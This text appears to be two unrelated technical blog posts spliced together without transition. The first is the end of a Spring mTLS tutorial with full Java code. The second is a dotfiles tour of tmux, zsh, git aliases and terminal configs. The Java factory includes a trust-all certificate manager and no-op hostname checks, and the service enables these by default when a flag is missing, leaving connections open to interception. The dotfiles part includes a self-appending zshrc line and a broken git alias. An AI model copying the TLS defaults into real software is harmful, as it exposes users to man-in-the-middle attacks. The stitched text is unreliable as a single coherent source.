This 4-line command replaces 20 minutes of squinting at Java stack traces. Run it first, every time.

9. Using the factory in a real Spring service

The factory in isolation just produces a RestTemplate. The interesting part is how it slots into a service that has to handle all the auth combinations — no auth, Basic, OAuth client-credentials — with mTLS optional on top.

In our integration, each request to the endpoint carries its own cert paths, credentials, and target URL (the same Spring app serves many tenants, each with their own ERP). So we build the RestTemplate per request, not as a @Bean. The controller is intentionally thin:

@PostMapping("/fetch-employee-data")
public ResponseEntity<Object> fetchEmployeeData(@RequestBody ERPEmployeeFetchRequestV2 request) {
    log.info("FETCHING ERP EMPLOYEE DATA -- orgId={}, authType={}, useMtls={}",
            request.getOrgId(), request.getAuthType(), request.isUseMtls());
    Object data = erpEmployeeReaderServiceV2.fetchEmployeeData(request);
    return AppResponse.success("Employee data fetched successfully", HttpStatus.OK, data);
}

The service picks the transport based on useMtls:

private RestTemplate buildRestTemplate(ERPEmployeeFetchRequestV2 request) {
    if (request.isUseMtls()) {
        boolean skipVerify = request.getInsecureSkipTlsVerify() == null
                          || request.getInsecureSkipTlsVerify();
        return mtlsRestTemplateFactory.build(
                request.getCertPath(), request.getKeyPath(), skipVerify,
                CONNECT_TIMEOUT_MS, READ_TIMEOUT_MS);
    }
    SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
    factory.setConnectTimeout(CONNECT_TIMEOUT_MS);
    factory.setReadTimeout(READ_TIMEOUT_MS);
    return new RestTemplate(factory);
}

Then the HTTP-layer auth is layered on top — and notice this is completely independent of whether mTLS is on:

switch (authType) {
    case BASIC:
        headers.setBasicAuth(request.getUsername(), request.getPassword());
        break;
    case OAUTH_CLIENT_CREDENTIALS:
        headers.setBearerAuth(accessToken);
        break;
    case NONE:
    default:
        break;
}

The same RestTemplate carries the Basic header / Bearer token over whatever transport (mTLS or plain TLS) the factory built. That’s exactly the “auth stacks” idea from section 1 — the cert authenticates the machine, the header authenticates the user.

The OAuth flow itself is the standard client_credentials grant, with a small wrinkle: some legacy servers want the grant as a POST form body, others want it as a GET query string. The service handles both:

HttpHeaders headers = new HttpHeaders();
headers.setBasicAuth(request.getClientId(), request.getClientSecret());
headers.setAccept(List.of(MediaType.APPLICATION_JSON));

if (method == HttpMethod.GET) {
    String separator = url.contains("?") ? "&" : "?";
    url = url + separator + "grant_type=client_credentials";
    entity = new HttpEntity<>(headers);
} else {
    headers.setContentType(MediaType.APPLICATION_FORM_URLENCODED);
    MultiValueMap<String, String> body = new LinkedMultiValueMap<>();
    body.add("grant_type", "client_credentials");
    entity = new HttpEntity<>(body, headers);
}

The end result: one endpoint, one factory, four working auth combinations ({none, Basic, OAuth} x {mTLS on/off}). The full service is in Appendix B at the bottom.

10. Production checklist

mTLS rarely fails in dev. It fails 11 months into prod when something silently expires. Things to wire up before going live:

1. Cert expiry monitoring. Pipe openssl x509 -in client.crt -enddate -noout into Prometheus / your monitoring tool. Page someone 30 days before expiry.
2. Rotation procedure documented. Where does the new cert come from? Who’s the CA contact? How is the secret rotated without downtime? Write it down before you need it.
3. insecureSkipTlsVerify: false in prod. Use Spring profiles so the dev value can’t leak. Our service defaults skipVerify to true when the flag is null — convenient for onboarding new tenants, but every prod tenant’s config must set this explicitly to false.
4. Secrets management. client.key is a credential. Treat it like a database password — Vault, AWS Secrets Manager, sealed Kubernetes secrets. Never bake it into the Docker image, never commit it to git.

5. Server cert chain trust. If the ERP’s server cert is signed by a private CA, that CA’s root needs to be in the JVM truststore ($JAVA_HOME/lib/security/cacerts) or imported via:

   keytool -import -trustcacerts -alias erpca \
     -file erp-root-ca.crt \
     -keystore $JAVA_HOME/lib/security/cacerts
   

   Otherwise you’re stuck with insecureSkipTlsVerify=true, which is fine for staging and a disaster in prod.

11. Memorable summary

TLS wraps the wire. mTLS also checks who you are at the door. Basic / OAuth Bearer is the username/password (or token) on the inside.

cURL is short because OpenSSL eats PEM. Java is long because JSSE only eats keystores, and our factory’s job is to translate PEM → keystore at runtime.

12. What to learn next (related topics)

mTLS is one piece of a much larger picture. Roughly in order of how often you’ll bump into them as a backend dev:

1. OAuth 2 grants beyond client-credentials — authorization_code (web apps with user login), refresh_token, PKCE for mobile/SPA. Once you have client-credentials working, the others are 80% the same wiring.
2. OIDC (OpenID Connect) — the layer on top of OAuth that adds a standard id_token (a JWT) describing who the user is. This is what powers “Sign in with Google”.
3. JWT internals — header, payload, signature; how to validate one without calling the issuer; key rotation via JWKS. If you’ve done OAuth client-credentials, you’ve already received a JWT — opening it up is the next step.
4. TLS internals — cipher suites, perfect forward secrecy, TLS 1.2 vs 1.3 handshakes (1.3 combines steps and is faster). Reading the TLS 1.3 RFC once is worth a day of your career.
5. PKI in depth — root CAs, intermediate CAs, certificate chains, CRL vs OCSP for revocation, certificate pinning. Why pinning can save you from a rogue CA but also brick your app overnight.
6. HMAC and signed requests — how AWS SigV4 and many bank APIs work. No certs, no tokens — you sign each request with a shared secret. Different threat model from mTLS, similar problem solved.
7. mTLS at the service-mesh layer — Istio, Linkerd, Consul Connect. In Kubernetes, mTLS between microservices is usually done by a sidecar proxy, not by your code. Your application stays plain HTTP and the mesh wraps the wire.
8. ACME / Let’s Encrypt automation — how public TLS certs are issued and renewed without humans. The same primitives can run a private mTLS CA (step-ca, smallstep).
9. SSH key auth — same asymmetric-crypto idea (public/private key pair), different protocol. Understanding SSH makes mTLS click instantly.
10. HSMs and YubiKeys — for high-assurance setups, the client private key never leaves a hardware chip. Signing happens inside the device, so even root on the host can’t exfiltrate the key.

Each of these deserves its own post — but coming back to this one, you should now have a working mental model for the whole left half of that list.

Appendix A — MtlsRestTemplateFactory in full

package com.spring.project.UTILS;

import lombok.extern.slf4j.Slf4j;
import org.apache.hc.client5.http.config.ConnectionConfig;
import org.apache.hc.client5.http.config.RequestConfig;
import org.apache.hc.client5.http.impl.classic.CloseableHttpClient;
import org.apache.hc.client5.http.impl.classic.HttpClients;
import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager;
import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManagerBuilder;
import org.apache.hc.client5.http.ssl.NoopHostnameVerifier;
import org.apache.hc.client5.http.ssl.SSLConnectionSocketFactory;
import org.apache.hc.client5.http.ssl.SSLConnectionSocketFactoryBuilder;
import org.apache.hc.core5.util.Timeout;
import org.springframework.http.client.HttpComponentsClientHttpRequestFactory;
import org.springframework.stereotype.Component;
import org.springframework.web.client.RestTemplate;

import javax.net.ssl.KeyManagerFactory;
import javax.net.ssl.SSLContext;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Path;
import java.security.KeyFactory;
import java.security.KeyStore;
import java.security.PrivateKey;
import java.security.SecureRandom;
import java.security.cert.Certificate;
import java.security.cert.CertificateFactory;
import java.security.cert.X509Certificate;
import java.security.spec.PKCS8EncodedKeySpec;
import java.util.Base64;
import java.util.Collection;

/**
 * Builds a {@link RestTemplate} that performs mTLS using a PEM certificate + private key
 * loaded from the filesystem. PEM ({@code -----BEGIN CERTIFICATE-----}) and either PKCS#8 or
 * PKCS#1 RSA PEM ({@code -----BEGIN PRIVATE KEY-----} or {@code -----BEGIN RSA PRIVATE KEY-----})
 * private keys are supported. No BouncyCastle.
 */
@Component
@Slf4j
public class MtlsRestTemplateFactory {

    private static final int DEFAULT_CONNECT_TIMEOUT_MS = 15_000;
    private static final int DEFAULT_READ_TIMEOUT_MS = 60_000;

    public RestTemplate build(String certPath, String keyPath, boolean insecureSkipTlsVerify) {
        return build(certPath, keyPath, insecureSkipTlsVerify, DEFAULT_CONNECT_TIMEOUT_MS, DEFAULT_READ_TIMEOUT_MS);
    }

    public RestTemplate build(String certPath, String keyPath, boolean insecureSkipTlsVerify,
                              int connectTimeoutMs, int readTimeoutMs) {
        if (isBlank(certPath) || isBlank(keyPath)) {
            throw new IllegalStateException("mTLS not configured: cert and key paths are required");
        }
        try {
            SSLContext sslContext = buildSslContext(Path.of(certPath), Path.of(keyPath), insecureSkipTlsVerify);

            SSLConnectionSocketFactoryBuilder builder =
                    SSLConnectionSocketFactoryBuilder.create().setSslContext(sslContext);
            if (insecureSkipTlsVerify) {
                builder.setHostnameVerifier(NoopHostnameVerifier.INSTANCE);
            }
            SSLConnectionSocketFactory sslSocketFactory = builder.build();

            ConnectionConfig connectionConfig = ConnectionConfig.custom()
                    .setConnectTimeout(Timeout.ofMilliseconds(connectTimeoutMs))
                    .build();

            PoolingHttpClientConnectionManager cm = PoolingHttpClientConnectionManagerBuilder.create()
                    .setSSLSocketFactory(sslSocketFactory)
                    .setDefaultConnectionConfig(connectionConfig)
                    .build();

            RequestConfig requestConfig = RequestConfig.custom()
                    .setResponseTimeout(Timeout.ofMilliseconds(readTimeoutMs))
                    .build();

            CloseableHttpClient httpClient = HttpClients.custom()
                    .setConnectionManager(cm)
                    .setDefaultRequestConfig(requestConfig)
                    .build();

            log.info("mTLS RestTemplate built (cert={}, insecureSkipTlsVerify={})", certPath, insecureSkipTlsVerify);
            return new RestTemplate(new HttpComponentsClientHttpRequestFactory(httpClient));
        } catch (RuntimeException ex) {
            throw ex;
        } catch (Exception ex) {
            throw new IllegalStateException("Failed to build mTLS RestTemplate: " + ex.getMessage(), ex);
        }
    }

    private SSLContext buildSslContext(Path certFile, Path keyFile, boolean insecureSkipTlsVerify) throws Exception {
        if (!Files.exists(certFile)) {
            throw new IllegalStateException("Certificate file not found: " + certFile);
        }
        if (!Files.exists(keyFile)) {
            throw new IllegalStateException("Private key file not found: " + keyFile);
        }

        CertificateFactory cf = CertificateFactory.getInstance("X.509");
        Collection<? extends Certificate> certs;
        try (InputStream in = Files.newInputStream(certFile)) {
            certs = cf.generateCertificates(in);
        }
        if (certs.isEmpty()) {
            throw new IllegalStateException("No certificates found in: " + certFile);
        }

        PrivateKey privateKey = parsePrivateKey(Files.readString(keyFile));

        char[] dummyPassword = "changeit".toCharArray();
        KeyStore keyStore = KeyStore.getInstance("PKCS12");
        keyStore.load(null, null);
        keyStore.setKeyEntry("client", privateKey, dummyPassword, certs.toArray(new Certificate[0]));

        KeyManagerFactory kmf = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
        kmf.init(keyStore, dummyPassword);

        TrustManager[] trustManagers = insecureSkipTlsVerify ? new TrustManager[]{ new TrustAllManager() } : null;

        SSLContext ssl = SSLContext.getInstance("TLS");
        ssl.init(kmf.getKeyManagers(), trustManagers, new SecureRandom());
        return ssl;
    }

    private PrivateKey parsePrivateKey(String pem) throws Exception {
        String normalized = pem.replace("\r", "").trim();

        if (normalized.contains("-----BEGIN RSA PRIVATE KEY-----")) {
            byte[] pkcs1Der = decodePem(normalized,
                    "-----BEGIN RSA PRIVATE KEY-----",
                    "-----END RSA PRIVATE KEY-----");
            byte[] pkcs8Der = wrapPkcs1RsaAsPkcs8(pkcs1Der);
            return KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(pkcs8Der));
        }

        if (normalized.contains("-----BEGIN EC PRIVATE KEY-----")) {
            throw new IllegalStateException(
                    "EC private key is in SEC1 format; conversion to PKCS#8 is not supported in code yet.");
        }

        byte[] keyBytes = decodePem(normalized,
                "-----BEGIN PRIVATE KEY-----",
                "-----END PRIVATE KEY-----");
        PKCS8EncodedKeySpec spec = new PKCS8EncodedKeySpec(keyBytes);
        try {
            return KeyFactory.getInstance("RSA").generatePrivate(spec);
        } catch (Exception rsaEx) {
            return KeyFactory.getInstance("EC").generatePrivate(spec);
        }
    }

    private byte[] decodePem(String pem, String beginMarker, String endMarker) {
        String base64 = pem
                .replace(beginMarker, "")
                .replace(endMarker, "")
                .replaceAll("\\s+", "");
        return Base64.getDecoder().decode(base64);
    }

    private byte[] wrapPkcs1RsaAsPkcs8(byte[] pkcs1) {
        // PKCS#8 PrivateKeyInfo envelope around a PKCS#1 RSAPrivateKey:
        //   SEQUENCE { INTEGER 0, SEQUENCE { OID rsaEncryption, NULL }, OCTET STRING <pkcs1> }
        byte[] prefix = new byte[] {
                0x30, (byte) 0x82, 0, 0,
                0x02, 0x01, 0x00,
                0x30, 0x0d,
                0x06, 0x09, 0x2a, (byte) 0x86, 0x48, (byte) 0x86, (byte) 0xf7, 0x0d, 0x01, 0x01, 0x01,
                0x05, 0x00,
                0x04, (byte) 0x82, 0, 0
        };
        int outerContentLen = (prefix.length - 4) + pkcs1.length;
        prefix[2] = (byte) ((outerContentLen >> 8) & 0xff);
        prefix[3] = (byte) (outerContentLen & 0xff);
        prefix[prefix.length - 2] = (byte) ((pkcs1.length >> 8) & 0xff);
        prefix[prefix.length - 1] = (byte) (pkcs1.length & 0xff);

        byte[] out = new byte[prefix.length + pkcs1.length];
        System.arraycopy(prefix, 0, out, 0, prefix.length);
        System.arraycopy(pkcs1, 0, out, prefix.length, pkcs1.length);
        return out;
    }

    private boolean isBlank(String value) {
        return value == null || value.isBlank();
    }

    private static final class TrustAllManager implements X509TrustManager {
        @Override public void checkClientTrusted(X509Certificate[] chain, String authType) { }
        @Override public void checkServerTrusted(X509Certificate[] chain, String authType) { }
        @Override public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }
    }
}

Appendix B — ERPEmployeeReaderServiceV2Impl in full

// ----- Controller -----
@PostMapping("/fetch-employee-data")
public ResponseEntity<Object> fetchEmployeeData(@RequestBody ERPEmployeeFetchRequestV2 request) {
    log.info("FETCHING ERP EMPLOYEE DATA -- orgId={}, authType={}, useMtls={}",
            request.getOrgId(), request.getAuthType(), request.isUseMtls());
    Object data = erpEmployeeReaderServiceV2.fetchEmployeeData(request);
    return AppResponse.success("Employee data fetched successfully", HttpStatus.OK, data);
}

// ----- Interface -----
package com.spring.project.ERPIntegrationV2.service;

import com.spring.project.ERPIntegrationV2.dto.ERPEmployeeFetchRequestV2;

public interface ERPEmployeeReaderServiceV2 {
    Object fetchEmployeeData(ERPEmployeeFetchRequestV2 request);
}

// ----- Impl -----
package com.spring.project.ERPIntegrationV2.service.impl;

import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.fasterxml.jackson.databind.node.JsonNodeFactory;
import com.fasterxml.jackson.databind.node.ObjectNode;
import com.spring.project.ERP.payload.response.ERPOAuthTokenResponse;
import com.spring.project.ERPIntegrationV2.dto.ERPEmployeeFetchRequestV2;
import com.spring.project.ERPIntegrationV2.enums.AuthType;
import com.spring.project.ERPIntegrationV2.service.ERPEmployeeReaderServiceV2;
import com.spring.project.UTILS.MtlsRestTemplateFactory;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpMethod;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.http.client.SimpleClientHttpRequestFactory;
import org.springframework.stereotype.Service;
import org.springframework.util.LinkedMultiValueMap;
import org.springframework.util.MultiValueMap;
import org.springframework.web.client.RestTemplate;

import java.util.List;
import java.util.Map;

@Service
@RequiredArgsConstructor
@Slf4j
public class ERPEmployeeReaderServiceV2Impl implements ERPEmployeeReaderServiceV2 {

    private static final int CONNECT_TIMEOUT_MS = 15_000;
    private static final int READ_TIMEOUT_MS = 60_000;

    private final MtlsRestTemplateFactory mtlsRestTemplateFactory;

    @Override
    public Object fetchEmployeeData(ERPEmployeeFetchRequestV2 request) {
        validate(request);
        AuthType authType = request.getAuthType() == null ? AuthType.NONE : request.getAuthType();
        RestTemplate restTemplate = buildRestTemplate(request);

        String accessToken = null;
        if (authType == AuthType.OAUTH_CLIENT_CREDENTIALS) {
            accessToken = requestAccessToken(restTemplate, request);
        }
        JsonNode body = requestEmployeeData(restTemplate, request, authType, accessToken);
        return applyKeyMapping(body, request.getKeyMapping());
    }

    private JsonNode applyKeyMapping(JsonNode node, Map<String, String> mapping) {
        if (node == null || mapping == null || mapping.isEmpty()) return node;
        return renameKeys(node, mapping);
    }

    private JsonNode renameKeys(JsonNode node, Map<String, String> mapping) {
        if (node.isArray()) {
            ArrayNode out = JsonNodeFactory.instance.arrayNode();
            for (JsonNode el : node) {
                out.add(renameKeys(el, mapping));
            }
            return out;
        }
        if (node.isObject()) {
            ObjectNode out = JsonNodeFactory.instance.objectNode();
            // 1. Emit fields in keyMapping order
            for (Map.Entry<String, String> m : mapping.entrySet()) {
                JsonNode value = node.get(m.getKey());
                if (value != null) {
                    out.set(m.getValue(), renameKeys(value, mapping));
                }
            }
            // 2. Append unmapped source fields (preserve their original order)
            node.fields().forEachRemaining(entry -> {
                if (!mapping.containsKey(entry.getKey())) {
                    out.set(entry.getKey(), renameKeys(entry.getValue(), mapping));
                }
            });
            return out;
        }
        return node;
    }

    private void validate(ERPEmployeeFetchRequestV2 request) {
        if (request == null) {
            throw new IllegalArgumentException("Request body is required");
        }
        if (isBlank(request.getEmployeeUrl())) {
            throw new IllegalArgumentException("employeeUrl is required");
        }
        AuthType authType = request.getAuthType() == null ? AuthType.NONE : request.getAuthType();
        switch (authType) {
            case BASIC:
                if (isBlank(request.getUsername()) || isBlank(request.getPassword())) {
                    throw new IllegalArgumentException("username and password are required for BASIC auth");
                }
                break;
            case OAUTH_CLIENT_CREDENTIALS:
                if (isBlank(request.getClientId()) || isBlank(request.getClientSecret())) {
                    throw new IllegalArgumentException("clientId and clientSecret are required for OAUTH_CLIENT_CREDENTIALS");
                }
                if (isBlank(request.getTokenUrl())) {
                    throw new IllegalArgumentException("tokenUrl is required for OAUTH_CLIENT_CREDENTIALS");
                }
                break;
            case NONE:
            default:
                break;
        }
        if (request.isUseMtls()) {
            if (isBlank(request.getCertPath()) || isBlank(request.getKeyPath())) {
                throw new IllegalArgumentException("certPath and keyPath are required when useMtls=true");
            }
        }
    }

    private RestTemplate buildRestTemplate(ERPEmployeeFetchRequestV2 request) {
        if (request.isUseMtls()) {
            boolean skipVerify = request.getInsecureSkipTlsVerify() == null || request.getInsecureSkipTlsVerify();
            return mtlsRestTemplateFactory.build(request.getCertPath(), request.getKeyPath(), skipVerify,
                    CONNECT_TIMEOUT_MS, READ_TIMEOUT_MS);
        }
        SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
        factory.setConnectTimeout(CONNECT_TIMEOUT_MS);
        factory.setReadTimeout(READ_TIMEOUT_MS);
        return new RestTemplate(factory);
    }

    private String requestAccessToken(RestTemplate restTemplate, ERPEmployeeFetchRequestV2 request) {
        HttpMethod method = resolveMethod(request.getTokenMethod(), HttpMethod.POST);

        HttpHeaders headers = new HttpHeaders();
        headers.setBasicAuth(request.getClientId(), request.getClientSecret());
        headers.setAccept(List.of(MediaType.APPLICATION_JSON));

        HttpEntity<?> entity;
        String url = request.getTokenUrl();
        if (method == HttpMethod.GET) {
            String separator = url.contains("?") ? "&" : "?";
            url = url + separator + "grant_type=client_credentials";
            entity = new HttpEntity<>(headers);
        } else {
            headers.setContentType(MediaType.APPLICATION_FORM_URLENCODED);
            MultiValueMap<String, String> body = new LinkedMultiValueMap<>();
            body.add("grant_type", "client_credentials");
            entity = new HttpEntity<>(body, headers);
        }

        log.info("Requesting access token via {} {}", method, url);
        ResponseEntity<ERPOAuthTokenResponse> response = restTemplate.exchange(
                url, method, entity, ERPOAuthTokenResponse.class);

        ERPOAuthTokenResponse body = response.getBody();
        if (body == null || isBlank(body.getAccessToken())) {
            throw new IllegalStateException("Access token not returned by token endpoint");
        }
        log.info("Access token received (type={}, expiresIn={})", body.getTokenType(), body.getExpiresIn());
        return body.getAccessToken();
    }

    private JsonNode requestEmployeeData(RestTemplate restTemplate, ERPEmployeeFetchRequestV2 request,
                                         AuthType authType, String accessToken) {
        HttpMethod method = resolveMethod(request.getEmployeeMethod(), HttpMethod.GET);

        HttpHeaders headers = new HttpHeaders();
        headers.setAccept(List.of(MediaType.APPLICATION_JSON));
        switch (authType) {
            case BASIC:
                headers.setBasicAuth(request.getUsername(), request.getPassword());
                break;
            case OAUTH_CLIENT_CREDENTIALS:
                headers.setBearerAuth(accessToken);
                break;
            case NONE:
            default:
                break;
        }

        HttpEntity<Void> entity = new HttpEntity<>(headers);
        log.info("Requesting employee data via {} {} (auth={}, mTLS={})",
                method, request.getEmployeeUrl(), authType, request.isUseMtls());
        ResponseEntity<JsonNode> response = restTemplate.exchange(
                request.getEmployeeUrl(), method, entity, JsonNode.class);
        log.info("Employee response status: {}", response.getStatusCode());
        return response.getBody();
    }

    private HttpMethod resolveMethod(String method, HttpMethod fallback) {
        if (isBlank(method)) return fallback;
        try {
            return HttpMethod.valueOf(method.trim().toUpperCase());
        } catch (IllegalArgumentException ex) {
            throw new IllegalArgumentException("Unsupported HTTP method: " + method);
        }
    }

    private boolean isBlank(String value) {
        return value == null || value.isBlank();
    }
}

~/.dotfiles
├── .gitconfig
├── .gitignore
├── .ssh
├── .tmux.conf
├── zshrc
├── vimrc/
│   ├── idea/        # IdeaVim config
│   └── nvim/        # Neovim config (symlinked into ~/.config/nvim)
└── .config/
    ├── alacritty/
    ├── wezterm/
    ├── karabiner/
    ├── coc/
    └── Code/

Two important details about the layout:

1. The folder is a git repo (note the .git and .gitignore). That’s the whole point — I can clone it on a new machine and symlink everything into $HOME.
2. .config/nvim is a symlink back to vimrc/nvim. That way I can keep all my editor configs together under vimrc/ (alongside the IntelliJ IdeaVim one) and still let Neovim find it at the path it expects.

1. .gitconfig — switching identity in one alias

I have two git identities: a personal one and a work one. Forgetting to switch is how you end up committing personal-email commits inside a company repo. So:

[alias]
    ci-personal = "!f() { git config user.name 'my-personal-handle'; \
                          git config user.email 'personal@example.com'; }; f"
    ci-office   = "!f() { git config user.name 'my-work-handle'; \
                          git config user.email 'work@example.com'; }; f"
    whoami      = git whoami config user.name && git config user.email

[init]
    defaultBranch = main

First thing I do inside a freshly cloned repo: git ci-personal or git ci-office. Then git whoami to confirm. It writes to that repo’s local .git/config, not the global one — so each repo remembers who I am.

defaultBranch = main just stops git init from creating a master branch I’ll have to rename ten seconds later.

2. .tmux.conf — the few things that make tmux feel like home

The full file is ~50 lines. The decisions that actually matter:

unbind C-b
set-option -g prefix C-a
bind-key C-a send-prefix

I moved the prefix from C-b to C-a because C-b collides with “page up” in less/vim/man-pages. C-a only collides with “go to start of line” in shell — and I rarely need that inside a tmux pane.

set -g base-index 1
set -g pane-base-index 1

Windows and panes count from 1 instead of 0. The prefix-then-number motion (C-a 1, C-a 2) maps directly to the number row of the keyboard, where 1 is the first key. Starting at 0 means the first window is on the second key, which my hand never learns.

bind '"' split-window -v -c "#{pane_current_path}"
bind % split-window -h -c "#{pane_current_path}"
bind c new-window -c "#{pane_current_path}"

By default, tmux splits start in your home directory. That’s almost never what I want — I’m splitting because I want to run a second command here. #{pane_current_path} makes the new pane inherit the current one’s directory.

setw -g mode-keys vi
bind-key -T copy-mode-vi y send-keys -X copy-pipe-and-cancel "pbcopy"
bind-key -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-and-cancel "pbcopy"

This is the one I’d miss most if it disappeared. Press prefix + [ to enter copy mode, navigate with hjkl, v to start selection, y to copy — and the selection lands in the macOS system clipboard via pbcopy. No Cmd-C, no losing my mouse position, no terminal weirdness with multi-pane copy.

bind h select-pane -L
bind j select-pane -D
bind k select-pane -U
bind l select-pane -R
bind -r H resize-pane -L 5
bind -r J resize-pane -D 5
bind -r K resize-pane -U 5
bind -r L resize-pane -R 5

Pane navigation in vim direction (lowercase), pane resizing in shifted vim direction (uppercase). The -r on the resize bindings means “repeatable” — I can press prefix once, then mash H four times in a row, instead of pressing the prefix between each.

3. zshrc — the boring half: shell + language toolchain

The file is split into roughly four parts: PATHs and language managers, oh-my-zsh setup, custom functions, and aliases. Here are the parts that actually do work.

Java toggling. I use both Java 17 and 21 depending on which project I’m in. The simplest version of “version manager” I could justify:

# Java 17
export JAVA_HOME="/usr/local/opt/openjdk@17/libexec/openjdk.jdk/Contents/Home"
export PATH="$JAVA_HOME/bin:$PATH"

# Java 21
# export JAVA_HOME="/usr/local/opt/openjdk@21/libexec/openjdk.jdk/Contents/Home"
# export PATH="$JAVA_HOME/bin:$PATH"

Comment one out, uncomment the other, source the file. I tried jenv for a while and got tired of fighting it. For a two-version setup, two lines and a comment beat a tool.

Other runtimes. NVM for Node, pyenv for Python, rbenv for Ruby. The pattern is the same every time:

export PYENV_ROOT="$HOME/.pyenv"
export PATH="$PYENV_ROOT/bin:$PATH"
eval "$(pyenv init -)"

The eval is the magic step — it injects a shim into the shell so that calling python actually goes through the version-manager’s lookup, not straight to /usr/bin/python.

Oh My Zsh. Theme robbyrussell (the default, the one with the arrow prompt that turns red on a failed command), git plugin for completions, vi keybindings via bindkey -v. That’s it. I keep being tempted by powerlevel10k and keep deciding I don’t actually need it.

Git aliases. These get used hundreds of times a day:

alias ga='git add .'
alias gr='git restore --staged .'
alias gc='git commit -m'
alias gp='git push'
alias gl='git pull'
alias gs='git status'
alias glog='git log --oneline --graph --all --decorate'
alias gco='git checkout'
alias gcb='git checkout -b'
alias glc='git log -1 --stat'

The one I want to call out is glog — --oneline --graph --all --decorate is the four-flag combo that turns git log into the branch-diagram view that every git GUI tries to replicate. Once you’ve typed glog once, you stop needing a GUI to “see the shape” of the repo.

4. zshrc — the interesting half: deployment + tmux session helpers

The custom functions are where the file earns its keep.

One-key deployment to a remote Tomcat. I deploy WARs to three different servers. Each used to be: cd into the project, run mvn clean package, then scp the WAR to the right path. Four commands, easy to do in the wrong order. Now:

upload_to_prod_a() {
    PROJECT_DIR="$HOME/Documents/Github/main-api"
    WAR_PATH="$PROJECT_DIR/target/main-api.war"

    echo "Building the project..."
    cd "$PROJECT_DIR" || { echo "Project directory not found"; return 1; }
    mvn clean package || { echo "Build failed"; return 1; }

    echo "Deploying WAR to remote server..."
    scp "$WAR_PATH" deploy@prod-a:/opt/tomcat/webapps/ || \
        { echo "Deployment failed"; return 1; }

    echo "Deployment completed successfully!"
}

Two important things going on here:

1. Each step || { … return 1; } — if the build fails, I never get to the scp. That’s the whole reason this is a function and not three aliases.
2. The scp target is prod-a, not an IP. That short name resolves because of ~/.ssh/config, which is the other file that makes this whole setup work. (I’ll do a .ssh/config post separately — it’s its own thing.)

There’s also a _with_backup variant, which does the same dance but first SSHes into the box and copies the current WAR into a timestamped webservices_backup/ folder. That came out of one production rollback I never want to repeat.

tmux-dev — boot a whole workday. This is my favourite function in the entire file. Running tmux-dev does this:

Window 0: nvim     (in ~/projects)
Window 1: workspace (empty shell in $HOME)
Window 2: alibaba-icm (split: tail catalina.out / shell on the server)
Window 3: hetzner     (split: tail catalina.out / shell on the server)
Window 4: eosium-cpp  (cd'd into my C++ side project)
Window 5: P-8080      (mvn spring-boot:run -Plocal in the local API)

It checks tmux has-session -t dev-hub first, so running it a second time just attaches to the existing session instead of rebuilding it. Cold start in the morning: open WezTerm, type tmux-dev, the whole workspace materialises — backend running, two server log tails ready, editor in the right folder. Closing the laptop lid doesn’t kill any of it.

There are also tmux-hetzner and tmux-alibaba-icm for when I only need one of those server windows on its own.

5. The runaway PATH — a small horror story

Near the top of my zshrc I have, inexplicably:

echo 'export PATH="/Applications/Postgres.app/Contents/Versions/latest/bin:$PATH"' >> ~/.zshrc

That line does not export the PATH. It appends another export line to the file itself. Every time I open a terminal, the file gets one line longer. I wrote it months ago when I was setting up Postgres.app and somehow combined “add this line to your shell config” with “I’ll do it from inside the shell config.” Predictable result: the file is now ~990 lines long and ~970 of those lines are the same export PATH=…postgres… line stacked on top of each other.

The shell doesn’t actually care — re-exporting the same PATH is a no-op — so nothing visibly broke. I only noticed when I went to add a new alias and had to scroll past the wall of duplicates to find the right spot.

The fix is a one-liner (export PATH="/Applications/Postgres.app/Contents/Versions/latest/bin:$PATH" — no echo, no >> ~/.zshrc), and then delete the duplicates. I’ve left the file as-is in this post on purpose, because the lesson is the interesting part: any >> ~/.zshrc inside ~/.zshrc is a footgun. Shell init files should be the configuration, not modify the configuration.

6. Two terminals: Alacritty for “just run it”, WezTerm for everything else

I have configs for both, and I use both for different reasons.

Alacritty (alacritty.toml) — five lines, the whole file:

[font]
normal = { family = "JetBrainsMono Nerd Font", style = "Regular" }
size = 15.0

[window]
startup_mode = "Fullscreen"

Font, size, fullscreen on launch. That’s it. Alacritty is what I use when I want a terminal now and I don’t care about tabs, splits, or backdrops. It opens instantly, renders fast, and doesn’t have opinions.

WezTerm (wezterm.lua) — multi-file Lua config split into modules:

local Config = require('config')

require('utils.backdrops')
   :set_focus('#000000')
   :set_images_dir(wezterm.home_dir .. '/.dotfiles/.config/wezterm/backdrops/')
   :set_images()
   :random()

require('events.left-status').setup()
require('events.right-status').setup({ date_format = '%a %H:%M:%S' })
require('events.tab-title').setup({ hide_active_tab_unseen = false })

return Config:init()
   :append(require('config.appearance'))
   :append(require('config.bindings'))
   :append(require('config.domains'))
   :append(require('config.fonts'))
   :append(require('config.general'))
   :append(require('config.launch')).options

WezTerm is what I use when I’m living in the terminal — the tmux-dev workday, long-running log tails, working on something for hours. It has tab titles, a clock in the corner, a random backdrop image, and SSH domains so I can open a new tab that’s already SSH’d into a remote host. The Lua config is the heavyweight version; Alacritty’s toml is the featherweight. Same machine, different jobs.

7. karabiner/ — Caps Lock becomes a fifth modifier

macOS has four modifiers: ⌃ ⌥ ⇧ ⌘. Almost every useful combination is already taken by some app. So I added a fifth: pressing Caps Lock sends ⌃⌥⇧⌘ simultaneously (the “Hyper” key). Nothing on macOS uses all four modifiers together, which makes it a clean shortcut namespace I own.

{
  description: "Caps Lock -> Hyper Key",
  from: { key_code: "caps_lock", modifiers: { optional: ["any"] } },
  to: [{ set_variable: { name: "hyper", value: 1 } }],
  to_after_key_up: [{ set_variable: { name: "hyper", value: 0 } }],
  to_if_alone: [{ key_code: "escape" }],
  type: "basic",
